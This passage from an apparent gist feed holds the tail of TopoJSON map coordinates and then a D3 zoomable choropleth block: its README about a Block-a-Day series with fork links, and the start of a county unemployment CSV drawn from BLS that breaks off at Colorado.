,[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/c812bfdde1e6f06a4a437eb7112a02d4">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/74c955c65eec82f8425616d26fabee4f</link>
      <guid isPermaLink="true">https://gist.github.com/74c955c65eec82f8425616d26fabee4f</guid>
      <pubDate>Wed, 21 Sep 2016 17:52:13 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:52:13.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>3831</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6161</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
